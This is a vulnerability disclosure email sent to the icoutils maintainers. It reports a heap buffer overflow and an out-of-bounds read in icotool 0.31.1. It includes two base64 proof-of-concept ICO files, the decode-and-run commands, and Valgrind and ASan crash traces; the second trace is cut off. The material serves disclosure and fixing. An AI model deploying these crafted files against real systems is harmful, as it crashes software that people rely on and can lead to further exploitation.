Package: icoutils
Version: 0.31.1

---------- Forwarded message ----------
From: op7ic \x00 <op7...@gmail.com>
Date: Wed, Feb 1, 2017 at 11:28 AM
Subject: Buffer Overflows and OOBs in icotool
To: frank.rich...@gmail.com, os...@osk.mine.nu


Please see attached reports.
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: "-ggdb3 -O0"
Machine Type: x86_64-unknown-linux-gnu
icoutils Version: 0.31.1
Release Status: release
Author: Jerzy Kramarz


Description:

A buffer overflow was observed in "extract_icons" function in "extract.c" 
source file. This issue can be triggered by processing a corrupted ico file and 
will result in icotool crash. To replicate this issue use the attached sample 
below and execute the following command:

PoC file:

AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAHAACAAP////QABAAAAAAAAAQAbwDY+v///wAAAAAA
AAD//3X//xYAAAAoAAAABgABACAAAAD/AEwAAAAAAAAAAAAjAAQAAAAAAAAAgHBwAADA/wD///8A
AAAAAAAAAAAAAAAjMhEAAAAAAAAAAAAREREREREREREREREREREAAQAAAAAAAAAAACMyERERERER
EREREREAAAAAAAAAAAAAACMYERERERERERERERH0AAAAAAAAAPb//yIyEREREREREREREREAAAB/
AAAAAAAAACMyEREREREREREREREREREREREAAAAAAAAAAAD7ACMyAAAAAAAAAAAAAAARERERERER
ERERESMREREREREjMgAAAAAAAAAAAAAAERESERERAAAAAAAAAAAREREsIBERERERf////wAAAAAA
AAAAAAARERERERERERERHSMyAAAAAAAAAAAAAAARERERERERERERESMyAAAAEAAAAAAAAAARERER
ERERERERESMyAAAAAAAAAAAAAAARERERERERERERESMyEAAAAAAAAAAAAAARERERERERERERESMy
AAAAAAAAAAAAAAAREREREREREREREAAyAAAAAAAAAAAAAAARERERERF//xEAAAAAAAAAERERERER
EREREREjMgAAAAAAAAAAAAAAIiIiIiIiIiIiIiIiIiIiEREAACMzMzMzMzMzMzMzMzMzMzMzMzMz
MzMzMzMcAP////8AABEREREREREREREAMgAAAAAAAACAAAAAAAARERERgAAAAAABAACAAAAAAAEA
AIAAAAAAAQAAgAAAAAABAAD+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+av9uev9/bm5ubm5ubv0iMgAQwP8A////AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA7QAAAAAAAAAAAAAQAAAAAAAAAAAAAAAz/v7+/v7+/v7+AACAAAD+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7n/v7+/v7+/v7+
/v7+H/7+/v3+/v7+6/7+/v7+Buf+/v7+/n/////+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+
/v7+Cf/+/v7+/v7k/v7+H/7+/v7+/v7++v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+
HAACEREREREREREjMgAAIzMzMzMzMzMzMzMsMzMzMzMzMzMzGzMzMwZ//////wAAgAAAAAABAACA
AAAAAAEAAP7+AP/o/v7+/v7+/v7+/hyBAAAAAAEAAICUlJSUlJSUlJSUlJSUlJSUlJSUlP7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7o/v7+/v7+/v7+/v7+/v7+/t/+/v7+/v7+/v7+/v7+/v7+/v7+K/7+
/v7+/v7+/v7+/v7+ERERERERERER/v7+/v7+/v7+/t7+/v7+/v7+/v7+/v7+/v7+/gD+/v7+/v7+
/v7+/v7+/v7+/v7+AAAAAQAA/v4AgP7+/v7+/v7+/v7+HIEAAAAAAQAAgJSUlJSUlJSUlJSUlJSU
lJSUlJSU/v7+/v7+/v7+/v7+/v7+/v7+/v7+/uj+/v7+/v7+/v7+/v7+/v7+3/7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+3v7+/v7+/v7+/v7+/v7+
/v7+AP7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7q/v7+/v7+/v7+/v7+/v7+/v7+/v7u/v7+/v7+/v7+/v4S//4zMzMz
MzMzMzMzMzMzMxwA/////wAAEREREREREREREQAyAAAAAAAAAIAAAAAAABERERGAAAAAAAEAAIAA
AAAAAQAAgAAAAAABAACAAAAAAAEAAP7+/v7+/v7+/v7+/v7+/v4jMhEAAAAAAAAAAAARERERERER
EREREREREREAAQAAAAAAAAAAACMyEREREREREREREREAAAAAAAAAAAAAACMyERERERERERERERH0
AAAAAAAAAPb//yIyEREREREREREREREAAAB/AAAAAAAAACMyEREREREREREREREREREREREAAAAA
AAAAAAD7ACMyAAAAAAAAAAAAAAARERERERERERERESMREREREREjMgAAAAAAAAAAAAAAERESERER
AAAAAAAAAAAREREsIBERERERf////wAAAAAAAAAAAAARERERERERERERHSMyAAAAAAAAAAAAAAAR
ERERERERERERESMyAAAAEAAAAAAAAAARERERERERERERESMyAAAAAAAAAAAAAAARERERERERERER
ESMyEAAAAAAAAAAAAAARERERERERERERESMyAAAAAAAAAAAAAAAREREREREREREREAAyAAAAAAAA
AAAAAAARERERERF//xEAAAAAAAAAEREREREREREREREjMgAAAAAAAAAAAAAAIiIiIiIiIiIiIiIi
IiIiEREAACMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMcAP////8AABEREREREREREREAMgAAAAAA
AACAAAAAAAARERERgAAAAAABAACAAAAAAAEAAIAAAAAAAQAAgAAAAAABAAD+/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+av9uev9/bm5ubm5ubv0i
MgAQwP8A////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7QAAAAAAAAAAAAAQAAAAAAAA
AAAAAAAz/v7+/v7+/v7+AACAAAD+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7n/v7+/v7+/v7+/v7+H/7+/v3+/v7+6/7+/v7+Buf+/v7+/n/////+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+Cf/+/v7+/v7k/v7+H/7+/v7+/v7++v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7n/v7+/v7+/v7+/v7+H/7+/v3+/v7+
6/7+/v7+Buf+/v7+/n/////+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+Cf/+/v7+/v7k
/v7+H/7+/v7+/v7++v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+HAACEREREREREREj
MgAAIzMzMzMzMzMzMzMsMzMzMzMzMzMzGzMzMwZ//////wAAgAAAAAABAACAAAAAAAEAAP7+AP/o
/v7+/v7+/v7+/hyBAAAAAAEAAICUlJSUlJSUlJSUlJSUlJSUlJSUlP7+/v7+/v7+/v7+/v7+/v7+
/v7+/v7o/v7+/v7+/v7+/v7+/v7+/t/+/v7+/v7+/v7+/v7+/v7+/v7+K/7+/v7+/v7+/v7+/v7+
ERERERERERER/v7+/v7+/v7+/t7+/v7+/v7+/v7+/v7+/v7+/gD+/v6FhYWFhYWFhYWFhYWFhYWF
hYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhf+FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWF
hYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWF
hYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhf7+/v7+/v7+/v7+/v7+/v4AAAAB
AAD+/gD//v7+/v7+/v7+/v4cgQAAAAABAOR/lJSUlJSUlJSUlJSUlJSUlJSUlJT+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+6P7+/v7+/v7+/v7+/v7+/v7f/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/uL+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7e/v7c/v7+/v7+/v7+/v7+/v4A/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+6P7+/v7+/v7+/v7+
/v7+/v7f/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+2/7+/v7+/v7+/v7+/v7+
/v7e/v7+/v7+/v7+/v7+/v7+/v4A/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/ur+/v7+/v7+/v7+/v7+/v7+/v7+/u7+
/v7+/v7+/v7+/hL//v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+6P7+/v7+/v7+/v7+/v7+/v7+/uv+/v7+/v7m
/v7+/v5//////v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+AAAA//7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/vd+/hwRERERERERERERIzIAACMzMzMz
MzMzMzMzLDMzMzMzMzMzMyAzMzMAf/////8AAIAAAAAAAQAAgAD//wABAAD+/v7+/v7+/v7+/v7+
/v4cgQAAAAABAACAAAAAAAEAAH/8AAABAACAAP7+/v7+/v4AAAABAACAAAAAAAEAAIAAAAAAAQAA
gAAAAAAbAACAAAAAAAEAAIAImQAAAQAAgAAAAAABAACAAAAAAAEAAIAAAIAAAAAAAQAAgAAAAAAB
AAAUAADo/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/vb+/v7+/v7+/v7+/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+AAACAP7+/v7+/v7+av9uev9/bm6E
bm5ubhGAQAAAwP8A////AADs////AAAAAAAAAAAAAAAAAAAAAAAA/v7+/v7+/v7+/v7+/v7+/v7+
/v7+/v7+/v7+/v7+/v7q/v7+/v7+/v7+/v7+/v7+/v7+/jMsMzMzMzMzMzMz/v6Xl5eXl5eXl5eX
l5eXl5eXl5eXlwAAAAGXl5eXlwCAl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl/7+
/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v5A/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+
3v7+/v4=

Repeat-By:
echo <above base64> > PoC.ico.b64
base64 -d PoC.ico.b64 > PoC.ico
/home/ico-target/icoutils-0.31.1/icotool/icotool -l PoC.ico


Valgrind Output: 

valgrind /home/ico-target/icoutils-clean/icotool/icotool -l /tmp/PoC.ico
==5033== Memcheck, a memory error detector
==5033== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==5033== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==5033== Command: /home/ico-target/icoutils-clean/icotool/icotool -l 
/tmp/PoC.ico
==5033==
/tmp/PoC.ico: x_pels_per_meter field in bitmap should be zero
/tmp/PoC.ico: y_pels_per_meter field in bitmap should be zero
/tmp/PoC.ico: clr_important field in bitmap should be zero
/tmp/PoC.ico: planes field in bitmap should be one
==5033== Invalid write of size 1
==5033==    at 0x4041A4: extract_icons (extract.c:320)
==5033==    by 0x402420: main (main.c:323)
==5033==  Address 0x5926d9c is 0 bytes after a block of size 28 alloc'd
==5033==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==5033==    by 0x4090C8: xmalloc (xmalloc.c:41)
==5033==    by 0x404512: extract_icons (extract.c:304)
==5033==    by 0x402420: main (main.c:323)
==5033==
==5033== Invalid write of size 1
==5033==    at 0x4041B3: extract_icons (extract.c:321)
==5033==    by 0x402420: main (main.c:323)
==5033==  Address 0x5926d9d is 1 bytes after a block of size 28 alloc'd
==5033==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==5033==    by 0x4090C8: xmalloc (xmalloc.c:41)
==5033==    by 0x404512: extract_icons (extract.c:304)
==5033==    by 0x402420: main (main.c:323)
==5033==
==5033== Invalid write of size 1
==5033==    at 0x4041BB: extract_icons (extract.c:322)
==5033==    by 0x402420: main (main.c:323)
==5033==  Address 0x5926d9e is 2 bytes after a block of size 28 alloc'd
==5033==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==5033==    by 0x4090C8: xmalloc (xmalloc.c:41)
==5033==    by 0x404512: extract_icons (extract.c:304)
==5033==    by 0x402420: main (main.c:323)
==5033==
==5033== Invalid write of size 1
==5033==    at 0x4041F0: extract_icons (extract.c:331)
==5033==    by 0x402420: main (main.c:323)
==5033==  Address 0x5926d9f is 3 bytes after a block of size 28 alloc'd
==5033==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==5033==    by 0x4090C8: xmalloc (xmalloc.c:41)
==5033==    by 0x404512: extract_icons (extract.c:304)
==5033==    by 0x402420: main (main.c:323)
==5033==
==5033== Invalid read of size 1
==5033==    at 0x40382A: simple_vec (extract.c:425)
==5033==    by 0x40420C: extract_icons (extract.c:313)
==5033==    by 0x402420: main (main.c:323)
==5033==  Address 0x5926b00 is 0 bytes after a block of size 512 alloc'd
==5033==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==5033==    by 0x4090C8: xmalloc (xmalloc.c:41)
==5033==    by 0x403EDF: extract_icons (extract.c:250)
==5033==    by 0x402420: main (main.c:323)
==5033==
==5033== Invalid read of size 1
==5033==    at 0x4037E9: simple_vec (extract.c:421)
==5033==    by 0x4041DB: extract_icons (extract.c:331)
==5033==    by 0x402420: main (main.c:323)
==5033==  Address 0x5926d40 is 0 bytes after a block of size 512 alloc'd
==5033==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==5033==    by 0x4090C8: xmalloc (xmalloc.c:41)
==5033==    by 0x403F0E: extract_icons (extract.c:254)
==5033==    by 0x402420: main (main.c:323)
==5033==
==5033==
==5033== Process terminating with default action of signal 11 (SIGSEGV)
==5033==  Bad permissions for mapped region at address 0x5D23000
==5033==    at 0x4041A4: extract_icons (extract.c:320)
==5033==    by 0x402420: main (main.c:323)
==5033==
==5033== HEAP SUMMARY:
==5033==     in use at exit: 1,819 bytes in 8 blocks
==5033==   total heap usage: 57 allocs, 49 frees, 11,791 bytes allocated
==5033==
==5033== LEAK SUMMARY:
==5033==    definitely lost: 28 bytes in 1 blocks
==5033==    indirectly lost: 0 bytes in 0 blocks
==5033==      possibly lost: 0 bytes in 0 blocks
==5033==    still reachable: 1,791 bytes in 7 blocks
==5033==         suppressed: 0 bytes in 0 blocks
==5033== Rerun with --leak-check=full to see details of leaked memory
==5033==
==5033== For counts of detected and suppressed errors, rerun with: -v
==5033== ERROR SUMMARY: 6261389 errors from 6 contexts (suppressed: 0 from 0)
Segmentation fault


ASAN Report (needs to compiled with -fsanitize=address):


==4989==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000efcc 
at pc 0x4109cc bp 0x76e1b07ad8f0 sp 0x76e1b07ad8e8
WRITE of size 1 at 0x60300000efcc thread T0
    #0 0x4109cb in extract_icons 
/home/ico-target/icoutils-0.31.1/icotool/extract.c:320
    #1 0x403efd in main /home/ico-target/icoutils-0.31.1/icotool/main.c:323
    #2 0x67062c940b44 in __libc_start_main 
(/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
    #3 0x404e15 (/home/ico-target/icoutils-0.31.1/icotool/icotool+0x404e15)

0x60300000efcc is located 0 bytes to the right of 28-byte region 
[0x60300000efb0,0x60300000efcc)
allocated by thread T0 here:
    #0 0x67062d46173f in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x5473f)
    #1 0x43c2e0 in xmalloc /home/ico-target/icoutils-0.31.1/lib/xmalloc.c:41

SUMMARY: AddressSanitizer: heap-buffer-overflow 
/home/ico-target/icoutils-0.31.1/icotool/extract.c:320 extract_icons
Shadow bytes around the buggy address:
  0x0c067fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c067fff9df0: fa fa fa fa fa fa 00 00 00[04]fa fa 00 00 00 fa
  0x0c067fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Contiguous container OOB:fc
  ASan internal:           fe
==4989==ABORTING
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: "-ggdb3 -O0"
Machine Type: x86_64-unknown-linux-gnu
icoutils Version: 0.31.1
Release Status: release
Author: Jerzy Kramarz


Description:

An out-of-bound read leading to buffer overflow was observed in "simple_vec" 
function in "extract.c" source file. This issue can be triggered by processing 
a corrupted ico file and will result in icotool crash. To replicate this issue 
use the attached sample below and execute the following command:

PoC file:

AAABAAQAEBAQAAEABAAoAQAARgAAABgYEAABAH////8AAG4BAAAgIBAAAQAEAOgCAABWAwAAMDAQ
AAEABABoBgAAPgYAAGgAAAAQAACAIAAAAAEABAAAAAAAwAAAAAAAAAAAAACfAAAAAAAAAACAcHAA
AMD/AP///wAAAAAAABAAAAAAAP////sAAABAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAMzMzMzMzMzMyIiIiIiIiIzIREREAAAAjMhEREQAAACMyERERAAAAIzIREREAAAAjMhERAAAR
LxEjMgAAABERESMyAAAA8RERIzIiIiIiIiIjMzMzMzMzMzP//wAAgAEAAIABAACAAQAAgAEAAIAB
AACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAAD//wAAKAAAABgAAAAwGgAAAQAE
ABEAAAAAACMyEREREREAAAAzMzMzMzMzMzIiIiIiIiIjMhEREREAAAAAACMyEREREREAAAAAACMA
AAAAgAEAAAAAAAAAAAAAAAAAAAAAAAC3cHAAAMD/AQAAGgAAAAAAAAAAAAAAAAAAAAABAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIBAP//
EAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAjAQAAgAEAAIABAAD//xERETP/////gAAA
ARERAAAAAAAjMhERERERAAAAMzMzMzMzMzMyIiIiIiIiIzIRERERAAAAAAAjMhERERERAAAAAAAj
MhERURERAAAAAAAjMgAAAAAAEREREREjMgAAAAAAEREREREjMv/0AAAAEREREREjMgAAAAAAERER
EREjMgAAAAAAEREREREjMgAAAAAAEREREREjBgYG8wYBAIAAAQCAAAEAgAABAIAAAQCAAAEAgAAB
AIAAAQB/7wEAgAABAIAAAQCAAAEAgAABAIAAAQCAAAEAgAABAAABAACAAAEAgAABAIAAAQCAAAEA
gAABAP///wAoAAAAEQAAACMAgAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAgHAAERERERER
ESMyAAAAAAAAABEREREREREjMgAAAAAAAAARERERERERIzIAgAAAAAAAERERERERf////wAAAAAA
ABEREREREREjMgAAAAAAAAARERERERERIzIAAAAAAAAAERERERERESMyAAAyIiIiIiIiIiIiIiIi
IiIjMzMzMzMzMzO4MzNNMzMzM/////+AAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAA
AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAA
AYAAAAGAAAABgAAAAYAAAAGAAAAB/////zIAAAAwAAAAYAAAAAEABAAAAAAAAAYAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAIiIiIiIjMhERERERERERERERAAAAAAAAAAAAAAAjMhEREREAAAGA
AAABgAAAAf////8oABERERERERERERERIzIAAAAAAAAAAAAAABERERERAAAwAAAAYAAAAAEABAAA
AAAAAAYAAH////8AAAAAAAAAAAAAAACAcHAAAMD/AP///wD////mAGQAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIi
IiIiIiIiIiIiIiIiIiIiIiIiIiIjMhERERERERERERERAAAAAAAAAADQAAAjMhERERERERERERER
AAAAAAAAAAAAAAAjMgDBAAARERERERERIzIAAAAAAAAAERERERERESMyAAAAAAAAABEREREREREj
MiIiIiIiIiIiIiIiIiIiIzMzMzMzMzMzMzMzMzMzMzP/////gAAAAYAAAAGAAAD2fwAAAYAAAAGA
AAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAA
AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAB/////zIAAAAwAAAAYAAA
AAEREREACwAAAAAAAAAAACMyEREREREREREREREREREREREREQAAAAAAAAAAAAAAIzIRERERERER
EREREQAAAAAAAAAAAAAAIzIREREREREREREREQAAAAAAAAAAAAAAIzIREREREREREREREQAAAAAA
AAAAAAAAIzIREREREREREREREQAAAAAAAAAAAAAAIzIREREREREREREREQAAAAAAAAAAAAAAIzIR
EREREREREREREQAAAAAAAAAAAAAAIzIREREREREREREREQAAAAAAAAAAAAAAIzIRERERERERERER
EQAAAAAAAAAAAAAAIzIAAAAAAADv////ABERERERERERERERIzIAAAAAAAAAAAAAABERERERERER
ERERIzIAAAAAAAAAAAAAABEREREREREZERERIzIA3f///wAAAAAAABERERERERERERERIzIAAAAA
AAAAAAAAABERERERERERERERIzIAAAAAAAAAAAAAABERERERERERERERIzIAAAAAAAAAAAAAABER
ERERERERERERIzIAAAAAAAAAAAAAABERERERERERERERIzIAAAAAAAAAAAAAABERERERERGAAAEA
gAABAIAAAQCAAAEAgAABAIARERERIzIAAAAAAAAAAAAAABERERERERERERERIzIAAAAAAAAAEQER
EREREREREREjMgAAAAAAAAAAAAAAEREREREREREREREjMgAAAAAAAAAAAAAAEREREREREREREREj
MgAAABUAAAAAAAAAEREREREREREREREjMgAAAAAAAAAAAAAAEREREREREREREREjMgAAAAAAAAAA
AAAAEREREREREREREREjMgAAAAAAAAAAAAAAEREgEREREREREREjMiIiIiIiIiIiIiIiIiIiIiIi
IiIiIiIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMz////////AACAAAAAAAEAAIAAAAAAAQAAgAAA
AAABAACAAAAAAAEAAIAAAAAAAQAAgAAAAAABAACAAAAAAAEAAIAAAAAAAQAAgAAAAAABAACAAAAA
AAEAAIAAAAAAAQAAgAAAAAABAACAAAAAAAEAAIAAAAAAAQAAgAAAAAABAACAAAAAAAEAAIAAAAAA
AQAAgAAAAAABAACAAAAAAAEAAIAAAAAAAQAAgAAAAAABAACAAAAAAAEAAIAAAAAAEQAAgAAAAAAB
AACAAAAAAAEAAIAAAAAAAQAAgAAAAAABAACAAAAAAAEAAIAAAAAAAQAAgAAAAAABAACAAAAAAAEA
AIAAAQCAAAEAgAABAIAAAQCAAAEAgAABAIAAAQCAAAEAgAABAIAAAQCAAAEAgAABAAABAACAAAEA
gCABAIAAAQCAAAEAgAABAP///wAoAAAAEQAAAIAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAA
AAAAgHAAERERERERESMyAAAAAAAAABEREREREREjMgAAAAAAAAARERERERERIzIAgAAAAAAAERER
ERERESMyAAAAAAAAABEREREREREjMgAAAAAAAAARERERERERIzIAAAAAAAAAERERERERESMyAAAy
IiIiIiIiIiIiIiIiIiIjMzMzMzMzMzO4MzNNMzMzM/////+AAAABgAAAAYAAAAGAAAABgAAAAYAA
AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAA
AYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAH/////KAARERERERERERER
ESMyAAAAAAAAAAAAAAAREREREQAAMAAAAGAAAAABAAQAAAAAAAAGAAB/////AAAAAAAAAAAAAAAA
gHBwAADA/wD///8AAAAAAABkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIoAAAAGAAAABgAAAAYAAAAGAAAAB
gAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAiIiIiIiIiIiIiIiIiIiIi
IiMyERERERER9hEREREAAAAAAAAAANAAACMyERERERERERERkREAAAAAAAAAAAAAACMyAAAAABER
EREREREjMgAAAAAAAAARERERERERIzIAAPUAAAAAEREREVQRESMyIiIiIiIiIiIiIiIiIiIjMzMz
MzMzMzMzMzMzMzMzM/////+AAAABgAAAAYAAAPZ/AAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAB
gAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGA
AAABgAAAAYAAAAGAAAABgAAAAYAAAAH/////MgAAADAAAABgAAAAgAAAAAABAACAAAAAAAEAAIAA
AAAAAQAAgAAAAAABAACAAAAAAAEAAIAAAAAAAQAAgAAAAAABAACA/f//EAEAAIAAAAAAAQAAgAAA
AAABAACAKwAAAA==



Repeat-By:
echo <above base64> > PoC.ico.b64
base64 -d PoC.ico.b64 > PoC.ico
/home/ico-target/icoutils-0.31.1/icotool/icotool -l PoC.ico


Valgrind Output: 

valgrind /home/ico-target/icoutils-clean/icotool/icotool -l /tmp/PoC.ico
==4859== Memcheck, a memory error detector
==4859== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==4859== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==4859== Command: /home/ico-target/icoutils-clean/icotool/icotool -l 
/tmp/PoC.ico
==4859==
/tmp/PoC.ico: y_pels_per_meter field in bitmap should be zero
/tmp/PoC.ico: skipping 64 bytes of extended bitmap header
/tmp/PoC.ico: incorrect total size of bitmap (296 specified; 360 real)
==4859== Invalid read of size 1
==4859==    at 0x40382A: simple_vec (extract.c:425)
==4859==    by 0x40420C: extract_icons (extract.c:313)
==4859==    by 0x402420: main (main.c:323)
==4859==  Address 0x5926730 is 0 bytes after a block of size 128 alloc'd
==4859==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==4859==    by 0x4090C8: xmalloc (xmalloc.c:41)
==4859==    by 0x403EDF: extract_icons (extract.c:250)
==4859==    by 0x402420: main (main.c:323)
==4859==
==4859== Invalid write of size 1
==4859==    at 0x4041A4: extract_icons (extract.c:320)
==4859==    by 0x402420: main (main.c:323)
==4859==  Address 0x5926830 is 0 bytes after a block of size 64 alloc'd
==4859==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==4859==    by 0x4090C8: xmalloc (xmalloc.c:41)
==4859==    by 0x404512: extract_icons (extract.c:304)
==4859==    by 0x402420: main (main.c:323)
==4859==
==4859== Invalid write of size 1
==4859==    at 0x4041B3: extract_icons (extract.c:321)
==4859==    by 0x402420: main (main.c:323)
==4859==  Address 0x5926831 is 1 bytes after a block of size 64 alloc'd
==4859==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==4859==    by 0x4090C8: xmalloc (xmalloc.c:41)
==4859==    by 0x404512: extract_icons (extract.c:304)
==4859==    by 0x402420: main (main.c:323)
==4859==
==4859== Invalid write of size 1
==4859==    at 0x4041BB: extract_icons (extract.c:322)
==4859==    by 0x402420: main (main.c:323)
==4859==  Address 0x5926832 is 2 bytes after a block of size 64 alloc'd
==4859==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==4859==    by 0x4090C8: xmalloc (xmalloc.c:41)
==4859==    by 0x404512: extract_icons (extract.c:304)
==4859==    by 0x402420: main (main.c:323)
==4859==
==4859== Invalid write of size 1
==4859==    at 0x4041F0: extract_icons (extract.c:331)
==4859==    by 0x402420: main (main.c:323)
==4859==  Address 0x5926833 is 3 bytes after a block of size 64 alloc'd
==4859==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==4859==    by 0x4090C8: xmalloc (xmalloc.c:41)
==4859==    by 0x404512: extract_icons (extract.c:304)
==4859==    by 0x402420: main (main.c:323)
==4859==
==4859== Invalid read of size 1
==4859==    at 0x4037E9: simple_vec (extract.c:421)
==4859==    by 0x4041DB: extract_icons (extract.c:331)
